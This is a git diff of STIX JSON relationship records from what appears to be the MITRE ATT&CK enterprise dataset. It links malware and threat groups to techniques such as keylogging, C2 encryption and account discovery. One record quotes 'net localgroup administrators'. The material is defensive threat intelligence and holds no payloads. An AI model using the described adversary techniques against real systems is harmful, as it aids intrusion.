+            "type": "relationship",
+            "id": "relationship--1f99a883-e78f-423d-9837-2b5ebb14fe63",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Matroyshka is capable of keylogging.",
+            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
+            "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2",
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                },
+                {
+                    "source_name": "CopyKittens Nov 2015",
+                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
+                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--1fbde0c8-1b00-40bf-8fef-11892d103d63.json b/enterprise-attack/relationship/relationship--1fbde0c8-1b00-40bf-8fef-11892d103d63.json
index 6479980a62..5ea632a3da 100644
--- a/enterprise-attack/relationship/relationship--1fbde0c8-1b00-40bf-8fef-11892d103d63.json
+++ b/enterprise-attack/relationship/relationship--1fbde0c8-1b00-40bf-8fef-11892d103d63.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9d39ad7c-72cb-4cd9-83d2-35c2f7f1b8fe",
+    "id": "bundle--dffe2212-85c5-4be8-a022-f61c34445707",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1fbde0c8-1b00-40bf-8fef-11892d103d63",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PinchDuke searches for files created within a certain timeframe and whose file extension matches a predefined list.",
             "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164",
diff --git a/enterprise-attack/relationship/relationship--1fbf92c8-747b-4c0f-ab33-ce63cbff8197.json b/enterprise-attack/relationship/relationship--1fbf92c8-747b-4c0f-ab33-ce63cbff8197.json
index 79f19c65b4..66ab9272fb 100644
--- a/enterprise-attack/relationship/relationship--1fbf92c8-747b-4c0f-ab33-ce63cbff8197.json
+++ b/enterprise-attack/relationship/relationship--1fbf92c8-747b-4c0f-ab33-ce63cbff8197.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9419dfed-0aed-457d-b8d0-1ca9ca822fa3",
+    "id": "bundle--5039b94c-a467-418b-9a4c-abe2196ffedb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1fbf92c8-747b-4c0f-ab33-ce63cbff8197",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.043Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Deep Panda uses the Microsoft Tasklist utility to list processes running on systems.",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Alperovitch 2014",
                     "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
-                    "url": "http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
+                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--1fda6ff7-a344-4bc3-b545-4083cc15290d.json b/enterprise-attack/relationship/relationship--1fda6ff7-a344-4bc3-b545-4083cc15290d.json
index c05637581e..9e659c94a5 100644
--- a/enterprise-attack/relationship/relationship--1fda6ff7-a344-4bc3-b545-4083cc15290d.json
+++ b/enterprise-attack/relationship/relationship--1fda6ff7-a344-4bc3-b545-4083cc15290d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--680150a9-b47b-442d-9c64-6e75f73fba3d",
+    "id": "bundle--b4723656-7fd7-4261-8a74-705fa7cc784b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "relationship--1fda6ff7-a344-4bc3-b545-4083cc15290d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "PowerDuke has commands to get information about the victim's name, build, version, logical drives, drive type, free space, serial number, and memory usage.",
+            "description": "PowerDuke has commands to get information about the victim's name, build, version, serial number, and memory usage.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
             "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
             "external_references": [
diff --git a/enterprise-attack/relationship/relationship--1fe4be95-b162-4fc7-a3c9-4277547ea722.json b/enterprise-attack/relationship/relationship--1fe4be95-b162-4fc7-a3c9-4277547ea722.json
index 168cb2c29c..ecd9f08f90 100644
--- a/enterprise-attack/relationship/relationship--1fe4be95-b162-4fc7-a3c9-4277547ea722.json
+++ b/enterprise-attack/relationship/relationship--1fe4be95-b162-4fc7-a3c9-4277547ea722.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4eb324e1-a0c1-494f-aa3f-de677369fb83",
+    "id": "bundle--08217150-27e5-4e1a-81e9-8f05e3fab33b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1fe4be95-b162-4fc7-a3c9-4277547ea722",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec's network loader encrypts C2 traffic with RSA and RC6.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--1fe875f1-89b6-447b-9d96-63c0cebecb9b.json b/enterprise-attack/relationship/relationship--1fe875f1-89b6-447b-9d96-63c0cebecb9b.json
new file mode 100644
index 0000000000..b490383c76
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--1fe875f1-89b6-447b-9d96-63c0cebecb9b.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--7d79d1d4-c151-4e0a-ac2b-813cc2615fb4",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--1fe875f1-89b6-447b-9d96-63c0cebecb9b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--2025480a-6d91-4ef5-a6ea-cc025c8aecfb.json b/enterprise-attack/relationship/relationship--2025480a-6d91-4ef5-a6ea-cc025c8aecfb.json
index 0dd2f7feb8..0c6f249990 100644
--- a/enterprise-attack/relationship/relationship--2025480a-6d91-4ef5-a6ea-cc025c8aecfb.json
+++ b/enterprise-attack/relationship/relationship--2025480a-6d91-4ef5-a6ea-cc025c8aecfb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--131d1235-367a-4d69-9362-246c4e4c4a4c",
+    "id": "bundle--b901bd89-c987-4433-b757-3fe844b2564c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2025480a-6d91-4ef5-a6ea-cc025c8aecfb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ZLib has the ability to download files.",
             "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
diff --git a/enterprise-attack/relationship/relationship--202b96f6-0f7c-4aed-8004-780f1d880059.json b/enterprise-attack/relationship/relationship--202b96f6-0f7c-4aed-8004-780f1d880059.json
index 7489556772..a66a022cf7 100644
--- a/enterprise-attack/relationship/relationship--202b96f6-0f7c-4aed-8004-780f1d880059.json
+++ b/enterprise-attack/relationship/relationship--202b96f6-0f7c-4aed-8004-780f1d880059.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--60f39928-3b8a-4281-a261-bddb354c7000",
+    "id": "bundle--933a1cc7-7977-4117-814a-668972b507e2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--202b96f6-0f7c-4aed-8004-780f1d880059",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PHOREAL is capable of manipulating the Registry.",
             "source_ref": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e",
diff --git a/enterprise-attack/relationship/relationship--2083aef8-4d72-4bef-8cbc-33f2c5f4a176.json b/enterprise-attack/relationship/relationship--2083aef8-4d72-4bef-8cbc-33f2c5f4a176.json
index 39802c17bb..815835e5e1 100644
--- a/enterprise-attack/relationship/relationship--2083aef8-4d72-4bef-8cbc-33f2c5f4a176.json
+++ b/enterprise-attack/relationship/relationship--2083aef8-4d72-4bef-8cbc-33f2c5f4a176.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6ac06bc8-ddd4-4bb2-9f38-1d4bce96e462",
+    "id": "bundle--6b30502f-2342-4a11-b7c0-ee47819b6ada",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2083aef8-4d72-4bef-8cbc-33f2c5f4a176",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.022Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--e547ed6a-f1ca-40df-8613-2ce27927f145",
             "target_ref": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549",
diff --git a/enterprise-attack/relationship/relationship--2092cbf8-4b5e-40e9-93dd-bfd8a71b4e8c.json b/enterprise-attack/relationship/relationship--2092cbf8-4b5e-40e9-93dd-bfd8a71b4e8c.json
index 47e6998249..7065dffab7 100644
--- a/enterprise-attack/relationship/relationship--2092cbf8-4b5e-40e9-93dd-bfd8a71b4e8c.json
+++ b/enterprise-attack/relationship/relationship--2092cbf8-4b5e-40e9-93dd-bfd8a71b4e8c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ac90f241-dbdf-47fd-b3de-31e6a2f5cff1",
+    "id": "bundle--5d9aef78-3369-4774-b9a5-fb98e8cbec85",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2092cbf8-4b5e-40e9-93dd-bfd8a71b4e8c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.065Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31",
             "target_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
diff --git a/enterprise-attack/relationship/relationship--20c7d1a2-be94-4f58-83a9-7eb9e05c4449.json b/enterprise-attack/relationship/relationship--20c7d1a2-be94-4f58-83a9-7eb9e05c4449.json
index 5ef36d1d3a..837e430f96 100644
--- a/enterprise-attack/relationship/relationship--20c7d1a2-be94-4f58-83a9-7eb9e05c4449.json
+++ b/enterprise-attack/relationship/relationship--20c7d1a2-be94-4f58-83a9-7eb9e05c4449.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b7b2534a-77f0-44a1-9574-d5614f560895",
+    "id": "bundle--c43eb589-a560-4805-b461-50d5bf4f03b0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--20c7d1a2-be94-4f58-83a9-7eb9e05c4449",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.072Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 used the Plink command-line utility to create SSH tunnels to C2 servers.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
diff --git a/enterprise-attack/relationship/relationship--20f863a1-f7de-4d66-a564-c4adee24fdbe.json b/enterprise-attack/relationship/relationship--20f863a1-f7de-4d66-a564-c4adee24fdbe.json
index 8c816c5f45..e285e172d4 100644
--- a/enterprise-attack/relationship/relationship--20f863a1-f7de-4d66-a564-c4adee24fdbe.json
+++ b/enterprise-attack/relationship/relationship--20f863a1-f7de-4d66-a564-c4adee24fdbe.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4a98b2c1-8fdd-4f06-a965-631a2eaf5409",
+    "id": "bundle--042e153b-cf1d-4cfb-8265-2751fdbad771",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--20f863a1-f7de-4d66-a564-c4adee24fdbe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.034Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang performs account discovery using commands such as <code>net localgroup administrators</code> and <code>net group \"REDACTED\" /domain</code> on specific permissions groups.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
diff --git a/enterprise-attack/relationship/relationship--210f5206-8763-48ac-a4c3-a08440892b5d.json b/enterprise-attack/relationship/relationship--210f5206-8763-48ac-a4c3-a08440892b5d.json
index bc2dcb2ea1..c2b7bf9fe4 100644
--- a/enterprise-attack/relationship/relationship--210f5206-8763-48ac-a4c3-a08440892b5d.json
+++ b/enterprise-attack/relationship/relationship--210f5206-8763-48ac-a4c3-a08440892b5d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0b2b1dfb-6e9f-4951-9dd4-7e917bd0868c",
+    "id": "bundle--2d6fd0c7-9970-4358-90a4-c3bc4c38cd9d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--210f5206-8763-48ac-a4c3-a08440892b5d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Carbanak malware communicates to its command server using HTTP with an encrypted payload.",
             "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
diff --git a/enterprise-attack/relationship/relationship--2121683c-ab01-4212-b2d2-af290dd8ed17.json b/enterprise-attack/relationship/relationship--2121683c-ab01-4212-b2d2-af290dd8ed17.json
index beb1325f86..0bb4f3b019 100644
--- a/enterprise-attack/relationship/relationship--2121683c-ab01-4212-b2d2-af290dd8ed17.json
+++ b/enterprise-attack/relationship/relationship--2121683c-ab01-4212-b2d2-af290dd8ed17.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9bd99d50-d1e7-42ad-bc38-ad808ee79d9c",
+    "id": "bundle--685082a9-1622-4d11-bcc9-f2886db5ab15",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2121683c-ab01-4212-b2d2-af290dd8ed17",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SNUGRIDE communicates with its C2 server over HTTP.",
             "source_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870",
diff --git a/enterprise-attack/relationship/relationship--216ab163-818b-4303-beb6-a743b90c98bf.json b/enterprise-attack/relationship/relationship--216ab163-818b-4303-beb6-a743b90c98bf.json
index f64dd93cc6..d6a32d6ff6 100644
--- a/enterprise-attack/relationship/relationship--216ab163-818b-4303-beb6-a743b90c98bf.json
+++ b/enterprise-attack/relationship/relationship--216ab163-818b-4303-beb6-a743b90c98bf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3c5de93f-2f7d-4fd5-9387-c860afa28ffb",
+    "id": "bundle--06579749-99c3-4b0a-8549-5bcee17d86d4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--216ab163-818b-4303-beb6-a743b90c98bf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Prikormka uses rundll32.exe to load its DLL.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
diff --git a/enterprise-attack/relationship/relationship--216c15b0-3091-49f2-ba85-356d56265671.json b/enterprise-attack/relationship/relationship--216c15b0-3091-49f2-ba85-356d56265671.json
new file mode 100644
index 0000000000..8a79b42d5a
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--216c15b0-3091-49f2-ba85-356d56265671.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--07894a4b-4c88-4312-98cf-47349f6bb102",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--216c15b0-3091-49f2-ba85-356d56265671",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
+            "target_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--21717b6b-1fc6-4619-9877-bb36237a8efd.json b/enterprise-attack/relationship/relationship--21717b6b-1fc6-4619-9877-bb36237a8efd.json
index 5d40854326..cca242268b 100644
--- a/enterprise-attack/relationship/relationship--21717b6b-1fc6-4619-9877-bb36237a8efd.json
+++ b/enterprise-attack/relationship/relationship--21717b6b-1fc6-4619-9877-bb36237a8efd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d54c3789-f93b-45c9-81cb-f36ade03481d",
+    "id": "bundle--1ccd230a-12cb-4606-89bc-8bb7a5554df9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--21717b6b-1fc6-4619-9877-bb36237a8efd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lurid performs XOR encryption.",
             "source_ref": "malware--251fbae2-78f6-4de7-84f6-194c727a64ad",
diff --git a/enterprise-attack/relationship/relationship--2174c465-8855-4c92-a683-97eb0eba9f7c.json b/enterprise-attack/relationship/relationship--2174c465-8855-4c92-a683-97eb0eba9f7c.json
new file mode 100644
index 0000000000..bcb757a53c
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--2174c465-8855-4c92-a683-97eb0eba9f7c.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--cbe2e142-81eb-4f85-b79f-88eeafb2bf66",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--2174c465-8855-4c92-a683-97eb0eba9f7c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has given malware the same name as an existing file on the file share server to cause users to unwittingly launch and install the malware on additional systems.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--21caad94-1568-4e40-8e38-c0f7e854aede.json b/enterprise-attack/relationship/relationship--21caad94-1568-4e40-8e38-c0f7e854aede.json
index 0651421f28..026eb94579 100644
--- a/enterprise-attack/relationship/relationship--21caad94-1568-4e40-8e38-c0f7e854aede.json
+++ b/enterprise-attack/relationship/relationship--21caad94-1568-4e40-8e38-c0f7e854aede.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--80a2d11f-92b7-4eb5-85a1-12aad237ca5b",
+    "id": "bundle--9158c1eb-1728-4257-949e-f5f44cf729bf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--21caad94-1568-4e40-8e38-c0f7e854aede",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.076Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Patchwork used Base64 to encode C2 traffic.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
diff --git a/enterprise-attack/relationship/relationship--21ff06b5-022f-40bf-821b-3e08dc9f08a3.json b/enterprise-attack/relationship/relationship--21ff06b5-022f-40bf-821b-3e08dc9f08a3.json
index 2e8da6e5d3..82ea279bef 100644
--- a/enterprise-attack/relationship/relationship--21ff06b5-022f-40bf-821b-3e08dc9f08a3.json
+++ b/enterprise-attack/relationship/relationship--21ff06b5-022f-40bf-821b-3e08dc9f08a3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f305da76-8574-4080-a730-3710a6881102",
+    "id": "bundle--10cd9f30-b9fd-40ce-84ef-b7379b25c83a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--21ff06b5-022f-40bf-821b-3e08dc9f08a3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.070Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Poseidon Group obtains and saves information about victim network interfaces and addresses.",
             "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Poseidon Group",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
-                    "url": "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--22301618-a676-4d94-975a-2a56e5a7f919.json b/enterprise-attack/relationship/relationship--22301618-a676-4d94-975a-2a56e5a7f919.json
index be52b965a0..a02e40d713 100644
--- a/enterprise-attack/relationship/relationship--22301618-a676-4d94-975a-2a56e5a7f919.json
+++ b/enterprise-attack/relationship/relationship--22301618-a676-4d94-975a-2a56e5a7f919.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a680717a-dd79-400d-b893-268d08cc210b",
+    "id": "bundle--0287ab87-2229-4ce7-b738-e16a67b4c28c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--22301618-a676-4d94-975a-2a56e5a7f919",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CozyCar's main method of communicating with its C2 servers is using HTTP or HTTPS.",
             "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
diff --git a/enterprise-attack/relationship/relationship--2244e21e-b7f6-476f-8f58-67db772f9736.json b/enterprise-attack/relationship/relationship--2244e21e-b7f6-476f-8f58-67db772f9736.json
index b616c86aa5..6b01302af2 100644
--- a/enterprise-attack/relationship/relationship--2244e21e-b7f6-476f-8f58-67db772f9736.json
+++ b/enterprise-attack/relationship/relationship--2244e21e-b7f6-476f-8f58-67db772f9736.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6ffd60f0-dd42-4a34-9073-767e582a805e",
+    "id": "bundle--3f31efb4-1953-4cb0-a5a8-64a9b1e3b70b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2244e21e-b7f6-476f-8f58-67db772f9736",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The CALENDAR malware communicates through the use of events in Google Calendar.",
             "source_ref": "malware--5a84dc36-df0d-4053-9b7c-f0c388a57283",
diff --git a/enterprise-attack/relationship/relationship--229e8b6e-6c16-406a-8def-7588aaae4fcb.json b/enterprise-attack/relationship/relationship--229e8b6e-6c16-406a-8def-7588aaae4fcb.json
index 9f9b8674be..723c5f67f4 100644
--- a/enterprise-attack/relationship/relationship--229e8b6e-6c16-406a-8def-7588aaae4fcb.json
+++ b/enterprise-attack/relationship/relationship--229e8b6e-6c16-406a-8def-7588aaae4fcb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1faaa586-a0f2-41e4-9711-afb71277e5bd",
+    "id": "bundle--f2bbd7f1-deed-4fa1-910f-22dead8f7e27",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--229e8b6e-6c16-406a-8def-7588aaae4fcb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Uroburos uses a custom packer.",
             "source_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4",
diff --git a/enterprise-attack/relationship/relationship--22a75bbf-5490-40cb-bdb7-a0eda5e95d21.json b/enterprise-attack/relationship/relationship--22a75bbf-5490-40cb-bdb7-a0eda5e95d21.json
index 51a0fe0d6f..a8ee10b81c 100644
--- a/enterprise-attack/relationship/relationship--22a75bbf-5490-40cb-bdb7-a0eda5e95d21.json
+++ b/enterprise-attack/relationship/relationship--22a75bbf-5490-40cb-bdb7-a0eda5e95d21.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--71e0d29a-b6e0-4580-8379-1fb66bdd3efd",
+    "id": "bundle--12a17e2b-4664-4f3f-a30f-9ff8d1b041b4",
